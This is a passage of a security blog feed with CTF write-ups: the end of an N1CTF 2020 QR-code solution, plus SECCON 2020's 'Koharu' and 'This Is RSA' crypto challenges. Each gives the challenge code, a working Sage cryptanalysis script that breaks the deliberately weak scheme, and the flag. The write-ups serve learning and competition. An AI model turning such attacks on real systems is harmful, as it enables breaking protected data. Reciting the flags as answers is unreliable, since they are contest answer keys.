<span class="n">flipped_coins</span> <span class="o">=</span> <span class="n">upper</span> <span class="o">+</span> <span class="p">[</span><span class="nb">int</span><span class="p">(</span><span class="n">bit</span><span class="p">)</span> <span class="k">for</span> <span class="n">bit</span> <span class="ow">in</span> <span class="n">bits</span><span class="p">[</span><span class="o">-</span><span class="mi">32</span><span class="o">*</span><span class="mi">624</span><span class="p">:]]</span>
<span class="n">out</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="s2">"L"</span><span class="p">,</span> <span class="p">(</span><span class="n">m</span><span class="o">//</span><span class="mi">2</span><span class="p">,</span> <span class="n">n</span><span class="o">//</span><span class="mi">2</span><span class="p">))</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">m</span><span class="o">//</span><span class="mi">2</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">n</span><span class="o">//</span><span class="mi">2</span><span class="p">):</span>
<span class="n">p1</span> <span class="o">=</span> <span class="n">pixs</span><span class="p">[</span><span class="mi">2</span><span class="o">*</span><span class="n">j</span><span class="p">,</span> <span class="mi">2</span><span class="o">*</span><span class="n">i</span><span class="p">]</span>
<span class="n">idx</span> <span class="o">=</span> <span class="n">i</span> <span class="o">*</span> <span class="n">n</span><span class="o">//</span><span class="mi">2</span> <span class="o">+</span> <span class="n">j</span>
<span class="k">if</span> <span class="p">(</span><span class="n">flipped_coins</span><span class="p">[</span><span class="n">idx</span><span class="p">]</span> <span class="o">==</span> <span class="mi">1</span> <span class="ow">and</span> <span class="n">p1</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="ow">or</span> <span class="p">(</span><span class="n">flipped_coins</span><span class="p">[</span><span class="n">idx</span><span class="p">]</span> <span class="o">==</span> <span class="mi">0</span> <span class="ow">and</span> <span class="n">p1</span> <span class="o">==</span> <span class="mi">255</span><span class="p">):</span>
<span class="n">col</span> <span class="o">=</span> <span class="mi">255</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">col</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">out</span><span class="o">.</span><span class="n">putpixel</span><span class="p">((</span><span class="n">j</span><span class="p">,</span><span class="n">i</span><span class="p">),</span> <span class="n">col</span><span class="p">)</span>
<span class="n">out</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="s2">"flag.png"</span><span class="p">)</span>
</code></pre></div>
<p>Executing it, we get the following QRcode:</p>
<p><img alt="The flag QRcode" src="https://w0nderland.fr/images/n1ctf2020/flag.png"></p>
<p>which decodes to <code>n1ctf{bf3724e3-c26b-4a63-9b4f-b33024b1db63}</code></p>Seccon 2020 - Koharu [EN]2020-10-11T00:00:00+02:002020-10-11T00:00:00+02:00Antoxydetag:w0nderland.fr,2020-10-11:/seccon-2020-koharu-en.html<h1>Koharu</h1>
<p>This was a warmup crypto challenge at Seccon CTF 2020.</p>
<div class="highlight"><pre><span></span><code><span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">random_prime</span><span class="p">(</span><span class="mi">1</span><span class="o"><<</span><span class="mi">64</span><span class="p">)</span>
<span class="k">if</span> <span class="n">is_prime</span><span class="p">((</span><span class="n">p</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span> <span class="o">//</span> <span class="mi">2</span><span class="p">):</span>
<span class="k">break</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">"flag.txt"</span><span class="p">,</span> <span class="s2">"rb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">flag</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">flag</span> <span class="o">=</span> <span class="nb">int</span><span class="o">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">flag</span><span class="p">,</span> <span class="s2">"big"</span><span class="p">)</span>
<span class="n">PR</span><span class="o">.<</span><span class="n">x</span><span class="o">></span> <span class="o">=</span> <span class="n">PolynomialRing</span><span class="p">(</span><span class="n">GF</span><span class="p">(</span><span class="n">p</span><span class="p">))</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="n">P</span> <span class="o">=</span> <span class="n">PR</span><span class="o">.</span><span class="n">random_element</span><span class="p">(</span><span class="n">degree</span><span class="o">=</span><span class="mi">64 …</span></code></pre></div><h1>Koharu</h1>
<p>This was a warmup crypto challenge at Seccon CTF 2020.</p>
<div class="highlight"><pre><span></span><code><span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">random_prime</span><span class="p">(</span><span class="mi">1</span><span class="o"><<</span><span class="mi">64</span><span class="p">)</span>
<span class="k">if</span> <span class="n">is_prime</span><span class="p">((</span><span class="n">p</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span> <span class="o">//</span> <span class="mi">2</span><span class="p">):</span>
<span class="k">break</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">"flag.txt"</span><span class="p">,</span> <span class="s2">"rb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">flag</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">flag</span> <span class="o">=</span> <span class="nb">int</span><span class="o">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">flag</span><span class="p">,</span> <span class="s2">"big"</span><span class="p">)</span>
<span class="n">PR</span><span class="o">.<</span><span class="n">x</span><span class="o">></span> <span class="o">=</span> <span class="n">PolynomialRing</span><span class="p">(</span><span class="n">GF</span><span class="p">(</span><span class="n">p</span><span class="p">))</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="n">P</span> <span class="o">=</span> <span class="n">PR</span><span class="o">.</span><span class="n">random_element</span><span class="p">(</span><span class="n">degree</span><span class="o">=</span><span class="mi">64</span><span class="p">)</span>
<span class="k">if</span> <span class="n">P</span><span class="o">.</span><span class="n">is_irreducible</span><span class="p">():</span>
<span class="k">break</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="n">Q</span> <span class="o">=</span> <span class="n">PR</span><span class="o">.</span><span class="n">random_element</span><span class="p">(</span><span class="n">degree</span><span class="o">=</span><span class="mi">64</span><span class="p">)</span>
<span class="k">if</span> <span class="n">Q</span><span class="o">.</span><span class="n">is_irreducible</span><span class="p">():</span>
<span class="k">break</span>
<span class="n">NP</span> <span class="o">=</span> <span class="n">p</span><span class="o">**</span><span class="n">P</span><span class="o">.</span><span class="n">degree</span><span class="p">()</span>
<span class="n">NQ</span> <span class="o">=</span> <span class="n">p</span><span class="o">**</span><span class="n">Q</span><span class="o">.</span><span class="n">degree</span><span class="p">()</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="n">R</span> <span class="o">=</span> <span class="n">PR</span><span class="o">.</span><span class="n">random_element</span><span class="p">(</span><span class="n">degree</span><span class="o">=</span><span class="mi">64</span><span class="p">)</span>
<span class="k">if</span> <span class="n">power_mod</span><span class="p">(</span><span class="n">R</span><span class="p">,</span> <span class="p">(</span><span class="n">NP</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">//</span><span class="mi">2</span><span class="p">,</span> <span class="n">P</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">1</span> <span class="ow">and</span> <span class="n">power_mod</span><span class="p">(</span><span class="n">R</span><span class="p">,</span> <span class="p">(</span><span class="n">NQ</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">//</span><span class="mi">2</span><span class="p">,</span> <span class="n">Q</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">:</span>
<span class="k">break</span>
<span class="n">PQ</span> <span class="o">=</span> <span class="n">P</span><span class="o">*</span><span class="n">Q</span>
<span class="n">c</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">while</span> <span class="n">flag</span><span class="p">:</span>
<span class="n">S</span> <span class="o">=</span> <span class="n">PR</span><span class="o">.</span><span class="n">random_element</span><span class="p">(</span><span class="n">degree</span><span class="o">=</span><span class="mi">64</span><span class="p">)</span>
<span class="k">if</span> <span class="n">flag</span> <span class="o">&</span> <span class="mi">1</span><span class="p">:</span>
<span class="n">c</span><span class="o">.</span><span class="n">append</span><span class="p">((</span><span class="n">S</span> <span class="o">*</span> <span class="n">S</span><span class="p">)</span> <span class="o">%</span> <span class="n">PQ</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">c</span><span class="o">.</span><span class="n">append</span><span class="p">((</span><span class="n">S</span> <span class="o">*</span> <span class="n">S</span> <span class="o">*</span> <span class="n">R</span><span class="p">)</span> <span class="o">%</span> <span class="n">PQ</span><span class="p">)</span>
<span class="n">flag</span> <span class="o">=</span> <span class="n">flag</span> <span class="o">>></span> <span class="mi">1</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"p ="</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"PQ ="</span><span class="p">,</span> <span class="n">PQ</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"R ="</span><span class="p">,</span> <span class="n">R</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"c ="</span><span class="p">,</span> <span class="n">c</span><span class="p">)</span>
</code></pre></div>
<p>The flag is encoded bit per bit, using a different polynomial multiplication depending on the bit's value.</p>
<div class="highlight"><pre><span></span><code><span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="n">R</span> <span class="o">=</span> <span class="n">PR</span><span class="o">.</span><span class="n">random_element</span><span class="p">(</span><span class="n">degree</span><span class="o">=</span><span class="mi">64</span><span class="p">)</span>
<span class="k">if</span> <span class="n">power_mod</span><span class="p">(</span><span class="n">R</span><span class="p">,</span> <span class="p">(</span><span class="n">NP</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">//</span><span class="mi">2</span><span class="p">,</span> <span class="n">P</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">1</span> <span class="ow">and</span> <span class="n">power_mod</span><span class="p">(</span><span class="n">R</span><span class="p">,</span> <span class="p">(</span><span class="n">NQ</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">//</span><span class="mi">2</span><span class="p">,</span> <span class="n">Q</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">:</span>
<span class="k">break</span>
</code></pre></div>
<p>The above piece of code make sure that the polynomial <span class="math">\(R\)</span> is a non-quadratic residue both mod <span class="math">\(P\)</span> and <span class="math">\(Q\)</span>.</p>
<p>If the bit we want to encode is 1, the encoding polynomial is <span class="math">\(S \times S \mod PQ\)</span>, which is obv. a quadratic residue.
However, if the bit is 0, the encoding polynomial is <span class="math">\(S \times S \times R \mod PQ\)</span>, meaning we multiply a square by a non-quadratic residue, which yields a non-quadratic residue.</p>
<p>That means that given <span class="math">\(P\)</span> or <span class="math">\(Q\)</span>, one can retrieve the bits value by checking if the encoding polynomials are quadratic residue or not.</p>
<p>As <span class="math">\(P\)</span> and <span class="math">\(Q\)</span> are degree 64 polynomials over <span class="math">\(GF(p)\)</span> with <span class="math">\(p\)</span> some prime, sage can easily factor <span class="math">\(PQ\)</span> to get them back.</p>
<p>Here is a script implementing all of this:</p>
<div class="highlight"><pre><span></span><code><span class="n">p</span> <span class="o">=</span> <span class="mi">4832823609987476353</span>
<span class="n">PR</span><span class="o">.<</span><span class="n">x</span><span class="o">></span> <span class="o">=</span> <span class="n">PolynomialRing</span><span class="p">(</span><span class="n">GF</span><span class="p">(</span><span class="n">p</span><span class="p">))</span>
<span class="n">PQ</span> <span class="o">=</span> <span class="p">[</span><span class="o">...</span><span class="p">]</span>
<span class="n">R</span> <span class="o">=</span> <span class="p">[</span><span class="o">...</span><span class="p">]</span>
<span class="n">c</span> <span class="o">=</span> <span class="p">[</span><span class="o">...</span><span class="p">]</span>
<span class="n">facs</span> <span class="o">=</span> <span class="n">PQ</span><span class="o">.</span><span class="n">factor</span><span class="p">()</span>
<span class="n">P</span> <span class="o">=</span> <span class="n">facs</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span>
<span class="n">Q</span> <span class="o">=</span> <span class="n">facs</span><span class="p">[</span><span class="mi">1</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span>
<span class="n">NP</span> <span class="o">=</span> <span class="n">p</span><span class="o">**</span><span class="mi">64</span>
<span class="n">flag</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">i</span><span class="p">,</span><span class="n">bit</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">c</span><span class="p">):</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">power_mod</span><span class="p">(</span><span class="n">bit</span><span class="p">,</span> <span class="p">(</span><span class="n">NP</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">//</span><span class="mi">2</span><span class="p">,</span> <span class="n">P</span><span class="p">)</span> <span class="c1"># or power_mod(bit, (NQ-1)//2, Q)</span>
<span class="k">if</span> <span class="n">a</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
<span class="n">flag</span> <span class="o">+=</span> <span class="p">(</span><span class="mi">1</span> <span class="o"><<</span> <span class="n">i</span><span class="p">)</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>
<span class="nb">print</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</code></pre></div>
<p>which yields <code>SECCON{p01y-p01y-p3r0-p3r0-hy0ukun-p3r0p3r0}</code> .</p>
<script type="text/javascript">if (!document.getElementById('mathjaxscript_pelican_#%@#$@#')) {
var align = "center",
indent = "0em",
linebreak = "false";
if (false) {
align = (screen.width < 768) ? "left" : align;
indent = (screen.width < 768) ? "0em" : indent;
linebreak = (screen.width < 768) ? 'true' : linebreak;
}
var mathjaxscript = document.createElement('script');
mathjaxscript.id = 'mathjaxscript_pelican_#%@#$@#';
mathjaxscript.type = 'text/javascript';
mathjaxscript.src = 'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.3/latest.js?config=TeX-AMS-MML_HTMLorMML';
var configscript = document.createElement('script');
configscript.type = 'text/x-mathjax-config';
configscript[(window.opera ? "innerHTML" : "text")] =
"MathJax.Hub.Config({" +
" config: ['MMLorHTML.js']," +
" TeX: { extensions: ['AMSmath.js','AMSsymbols.js','noErrors.js','noUndefined.js'], equationNumbers: { autoNumber: 'none' } }," +
" jax: ['input/TeX','input/MathML','output/HTML-CSS']," +
" extensions: ['tex2jax.js','mml2jax.js','MathMenu.js','MathZoom.js']," +
" displayAlign: '"+ align +"'," +
" displayIndent: '"+ indent +"'," +
" showMathMenu: true," +
" messageStyle: 'normal'," +
" tex2jax: { " +
" inlineMath: [ ['\\\\(','\\\\)'] ], " +
" displayMath: [ ['$$','$$'] ]," +
" processEscapes: true," +
" preview: 'TeX'," +
" }, " +
" 'HTML-CSS': { " +
" availableFonts: ['STIX', 'TeX']," +
" preferredFont: 'STIX'," +
" styles: { '.MathJax_Display, .MathJax .mo, .MathJax .mi, .MathJax .mn': {color: 'inherit ! important'} }," +
" linebreaks: { automatic: "+ linebreak +", width: '90% container' }," +
" }, " +
"}); " +
"if ('default' !== 'default') {" +
"MathJax.Hub.Register.StartupHook('HTML-CSS Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax['HTML-CSS'].FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"MathJax.Hub.Register.StartupHook('SVG Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax.SVG.FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"}";
(document.body || document.getElementsByTagName('head')[0]).appendChild(configscript);
(document.body || document.getElementsByTagName('head')[0]).appendChild(mathjaxscript);
}
</script>Seccon 2020 - This Is RSA [EN]2020-10-10T00:00:00+02:002020-10-10T00:00:00+02:00Antoxydetag:w0nderland.fr,2020-10-10:/seccon-2020-this-is-rsa-en.html<h1>This is RSA</h1>
<p>This was a warmup crypto challenge at Seccon CTF 2020.
We are given a script, <code>rsa.rb</code>, containing the following ruby code:</p>
<div class="highlight"><pre><span></span><code><span class="nb">require</span> <span class="s1">'openssl'</span>
<span class="k">def</span> <span class="nf">get_prime</span>
<span class="n">i</span> <span class="o">=</span> <span class="no">OpenSSL</span><span class="o">::</span><span class="no">BN</span><span class="o">.</span><span class="n">rand</span><span class="p">(</span><span class="mi">512</span><span class="p">)</span><span class="o">.</span><span class="n">to_s</span><span class="o">.</span><span class="n">unpack1</span><span class="p">(</span><span class="s1">'H*'</span><span class="p">)</span><span class="o">.</span><span class="n">hex</span>
<span class="no">OpenSSL</span><span class="o">::</span><span class="no">BN</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">i</span><span class="p">)</span><span class="o">.</span><span class="n">prime?</span> <span class="p">?</span> <span class="n">i</span> <span class="p">:</span> <span class="n">get_prime</span>
<span class="k">end</span>
<span class="nb">p</span> <span class="o">=</span> <span class="n">get_prime</span>
<span class="n">q</span> <span class="o">=</span> <span class="n">get_prime …</span></code></pre></div><h1>This is RSA</h1>
<p>This was a warmup crypto challenge at Seccon CTF 2020.
We are given a script, <code>rsa.rb</code>, containing the following ruby code:</p>
<div class="highlight"><pre><span></span><code><span class="nb">require</span> <span class="s1">'openssl'</span>
<span class="k">def</span> <span class="nf">get_prime</span>
<span class="n">i</span> <span class="o">=</span> <span class="no">OpenSSL</span><span class="o">::</span><span class="no">BN</span><span class="o">.</span><span class="n">rand</span><span class="p">(</span><span class="mi">512</span><span class="p">)</span><span class="o">.</span><span class="n">to_s</span><span class="o">.</span><span class="n">unpack1</span><span class="p">(</span><span class="s1">'H*'</span><span class="p">)</span><span class="o">.</span><span class="n">hex</span>
<span class="no">OpenSSL</span><span class="o">::</span><span class="no">BN</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">i</span><span class="p">)</span><span class="o">.</span><span class="n">prime?</span> <span class="p">?</span> <span class="n">i</span> <span class="p">:</span> <span class="n">get_prime</span>
<span class="k">end</span>
<span class="nb">p</span> <span class="o">=</span> <span class="n">get_prime</span>
<span class="n">q</span> <span class="o">=</span> <span class="n">get_prime</span>
<span class="n">n</span> <span class="o">=</span> <span class="nb">p</span> <span class="o">*</span> <span class="n">q</span>
<span class="n">e</span> <span class="o">=</span> <span class="mi">65537</span>
<span class="n">m</span> <span class="o">=</span> <span class="no">File</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="s1">'flag.txt'</span><span class="p">)</span><span class="o">.</span><span class="n">unpack1</span><span class="p">(</span><span class="s1">'H*'</span><span class="p">)</span><span class="o">.</span><span class="n">hex</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">m</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
<span class="nb">puts</span> <span class="s2">"N = </span><span class="si">#{</span><span class="n">n</span><span class="si">}</span><span class="s2">"</span>
<span class="nb">puts</span> <span class="s2">"c = </span><span class="si">#{</span><span class="n">c</span><span class="si">}</span><span class="s2">"</span>
</code></pre></div>
<p>We are also given a trace of execution.</p>
<div class="highlight"><pre><span></span><code><span class="n">N</span> <span class="o">=</span> <span class="mi">13234306273608973531555502334446720401597326792644624514228362685813698571322410829494757436628326246629203126562441757712029708148508660279739210512110734001019285095467352938553972438629039005820507697493315650840705745518918873979766056584458077636454673830866061550714002346318865318536544606580475852690351622415519854730947773248376978689711597597169469401661488756669849772658771813742926651925442468141895198767553183304485662688033274567173210826233405235701905642383704395846192587563843422713499468379304400363773291993404144432403315463931374682824546730098380872658106314368520370995385913965019067624762624652495458399359096083188938802975032297056646831904294336374652136926975731836556951432035301855715375295216481079863945383657</span>
<span class="n">c</span> <span class="o">=</span> <span class="mi">9094564357254217771457579638296343398667095069849711922513911147179424647045593821415928967849073271368133854458732106409023539482401316282328817488781771665657515880026432487444729168909088425021111879152492812216384426360971681055941907554538267523250780508925995498013624610554177330113234686073838491261974164065812534037687990653834520243512128393881497418722817552604416319729143988970277812550536939775865310487081108925130229024749287074763499871216498398695877450736179371920963283041212502898938555288461797406895266037211533065670904218278235604002573401193114111627382958428536968266964975362791704067660270952933411608299947663325963289383426020609754934510085150774508301734516652467839087341415815719569669955613063226205647580528</span>
</code></pre></div>
<p>As i'm not really familiar with Ruby, it took me way too long to notice that the <code>get_prime</code> function does some strange string and hex conversions.
In fact, one can translates it to the following equivalent python code:</p>
<div class="highlight"><pre><span></span><code><span class="k">def</span> <span class="nf">get_prime</span><span class="p">():</span>
<span class="n">i</span> <span class="o">=</span> <span class="nb">int</span><span class="o">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">random</span><span class="o">.</span><span class="n">getrandbits</span><span class="p">(</span><span class="mi">512</span><span class="p">))</span><span class="o">.</span><span class="n">encode</span><span class="p">(),</span> <span class="n">byteorder</span><span class="o">=</span><span class="s1">'big'</span><span class="p">)</span>
<span class="k">if</span> <span class="n">is_prime</span><span class="p">(</span><span class="n">i</span><span class="p">):</span>
<span class="k">return</span> <span class="n">i</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">return</span> <span class="n">get_prime</span><span class="p">()</span>
</code></pre></div>
<p>That means that the primes generated by the function can be converted from long to bytes, and the bytes decoded to a string that will represent a valid decimal integer.</p>
<p>More formally, the primes are of the form <span class="math">\(p = \sum\limits_{i = 0}^{l} p_i \times 16^{2i}\)</span>, with <span class="math">\(l = \lceil \log_{10} 2^{512} \rceil = 155\)</span> and where each <span class="math">\(p_i\)</span> is the ascii code of a digit, ie <span class="math">\(p_i \in \{48,..,57\}\)</span>.</p>
<p>By writing <span class="math">\(p \times q = (\sum\limits_{i = 0}^{l} p_i \times b^i) \times (\sum\limits_{i = 0}^{l} q_i \times b^i) = \sum\limits_{i = 0}^{2l} n_i \times b^i\)</span> in base <span class="math">\(b = 16^2\)</span>, the factorisation is relatively easy to do.</p>
<p>One can notice that as for <span class="math">\(i \in \{0,..,l\}, n_i = \sum\limits_{k = 0}^i p_k \times q_{i - k}\)</span> and as each <span class="math">\(p_i,q_i\)</span> can have only ten different values, its easy to iteratively guess the values of <span class="math">\(p_i\)</span> and <span class="math">\(q_i\)</span> by checking for the equality.</p>
<p>Here is a sage script that implements that idea:</p>
<div class="highlight"><pre><span></span><code><span class="n">n</span> <span class="o">=</span> <span class="p">[</span><span class="o">...</span><span class="p">]</span>
<span class="n">c</span> <span class="o">=</span> <span class="p">[</span><span class="o">...</span><span class="p">]</span>
<span class="n">e</span> <span class="o">=</span> <span class="mi">65537</span>
<span class="n">b</span> <span class="o">=</span> <span class="mi">16</span><span class="o">**</span><span class="mi">2</span>
<span class="n">P</span> <span class="o">=</span> <span class="n">PolynomialRing</span><span class="p">(</span><span class="n">ZZ</span><span class="p">,</span> <span class="s1">'x'</span><span class="p">)</span>
<span class="n">ni</span> <span class="o">=</span> <span class="n">Integer</span><span class="p">(</span><span class="n">n</span><span class="p">)</span><span class="o">.</span><span class="n">digits</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">get_coeff</span><span class="p">(</span><span class="n">pc</span><span class="p">,</span> <span class="n">qc</span><span class="p">,</span> <span class="n">deg</span><span class="p">):</span>
<span class="n">ni_wanted</span> <span class="o">=</span> <span class="n">ni</span><span class="p">[</span><span class="n">deg</span><span class="p">]</span>
<span class="k">for</span> <span class="n">pi</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x30</span><span class="p">,</span><span class="mh">0x3a</span><span class="p">):</span>
<span class="k">for</span> <span class="n">qi</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x30</span><span class="p">,</span><span class="mh">0x3a</span><span class="p">):</span>
<span class="n">p1</span> <span class="o">=</span> <span class="n">P</span><span class="p">(</span><span class="n">pc</span> <span class="o">+</span> <span class="p">[</span><span class="n">pi</span><span class="p">])</span>
<span class="n">p2</span> <span class="o">=</span> <span class="n">P</span><span class="p">(</span><span class="n">qc</span> <span class="o">+</span> <span class="p">[</span><span class="n">qi</span><span class="p">])</span>
<span class="n">ni_guess</span> <span class="o">=</span> <span class="p">(</span><span class="n">p1</span><span class="o">*</span><span class="n">p2</span><span class="p">)(</span><span class="n">b</span><span class="p">)</span><span class="o">.</span><span class="n">digits</span><span class="p">(</span><span class="n">b</span><span class="p">)[</span><span class="n">deg</span><span class="p">]</span>
<span class="k">if</span> <span class="n">ni_guess</span> <span class="o">==</span> <span class="n">ni_wanted</span><span class="p">:</span>
<span class="n">pc</span> <span class="o">=</span> <span class="n">pc</span> <span class="o">+</span> <span class="p">[</span><span class="n">pi</span><span class="p">]</span>
<span class="n">qc</span> <span class="o">=</span> <span class="n">qc</span> <span class="o">+</span> <span class="p">[</span><span class="n">qi</span><span class="p">]</span>
<span class="k">return</span> <span class="n">pc</span><span class="p">,</span><span class="n">qc</span>
<span class="n">pc</span><span class="p">,</span><span class="n">qc</span> <span class="o">=</span> <span class="p">[],[]</span> <span class="c1"># list of p and q coeffs</span>
<span class="k">for</span> <span class="n">deg</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">155</span><span class="p">):</span>
<span class="n">pc</span><span class="p">,</span><span class="n">qc</span> <span class="o">=</span> <span class="n">get_coeff</span><span class="p">(</span><span class="n">pc</span><span class="p">,</span> <span class="n">qc</span><span class="p">,</span> <span class="n">deg</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="nb">sum</span><span class="p">(</span><span class="n">x</span><span class="o">*</span><span class="n">b</span><span class="o">**</span><span class="n">i</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span><span class="n">x</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">pc</span><span class="p">))</span>
<span class="n">q</span> <span class="o">=</span> <span class="nb">sum</span><span class="p">(</span><span class="n">x</span><span class="o">*</span><span class="n">b</span><span class="o">**</span><span class="n">i</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span><span class="n">x</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">qc</span><span class="p">))</span>
<span class="nb">print</span><span class="p">(</span><span class="n">n</span> <span class="o">==</span> <span class="n">p</span><span class="o">*</span><span class="n">q</span><span class="p">)</span>
<span class="n">phi</span> <span class="o">=</span> <span class="p">(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">q</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">inverse_mod</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="n">phi</span><span class="p">)</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>
<span class="nb">print</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="n">c</span><span class="p">,</span><span class="n">d</span><span class="p">,</span><span class="n">n</span><span class="p">)))</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</code></pre></div>
<p>Executing it yields</p>
<div class="highlight"><pre><span></span><code>True
SECCON{I_would_always_love_the_cryptography_and_I_know_RSA_never_gets_old_So_Im_always_a_fan_of_this_mathematical_magic_and...Wait_This_flag_can_be_longer_than_I_expected_What_happened?}
</code></pre></div>
<p>This is probably not the best algorithm to factor in this case, but hey this is CTF code and it works ^^</p>
<script type="text/javascript">if (!document.getElementById('mathjaxscript_pelican_#%@#$@#')) {
var align = "center",
indent = "0em",
linebreak = "false";
if (false) {
align = (screen.width < 768) ? "left" : align;
indent = (screen.width < 768) ? "0em" : indent;
linebreak = (screen.width < 768) ? 'true' : linebreak;
}
var mathjaxscript = document.createElement('script');
mathjaxscript.id = 'mathjaxscript_pelican_#%@#$@#';
mathjaxscript.type = 'text/javascript';
mathjaxscript.src = 'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.3/latest.js?config=TeX-AMS-MML_HTMLorMML';
var configscript = document.createElement('script');
configscript.type = 'text/x-mathjax-config';
configscript[(window.opera ? "innerHTML" : "text")] =
"MathJax.Hub.Config({" +
" config: ['MMLorHTML.js']," +
" TeX: { extensions: ['AMSmath.js','AMSsymbols.js','noErrors.js','noUndefined.js'], equationNumbers: { autoNumber: 'none' } }," +
" jax: ['input/TeX','input/MathML','output/HTML-CSS']," +
" extensions: ['tex2jax.js','mml2jax.js','MathMenu.js','MathZoom.js']," +
" displayAlign: '"+ align +"'," +
" displayIndent: '"+ indent +"'," +
" showMathMenu: true," +
" messageStyle: 'normal'," +
" tex2jax: { " +
" inlineMath: [ ['\\\\(','\\\\)'] ], " +
" displayMath: [ ['$$','$$'] ]," +
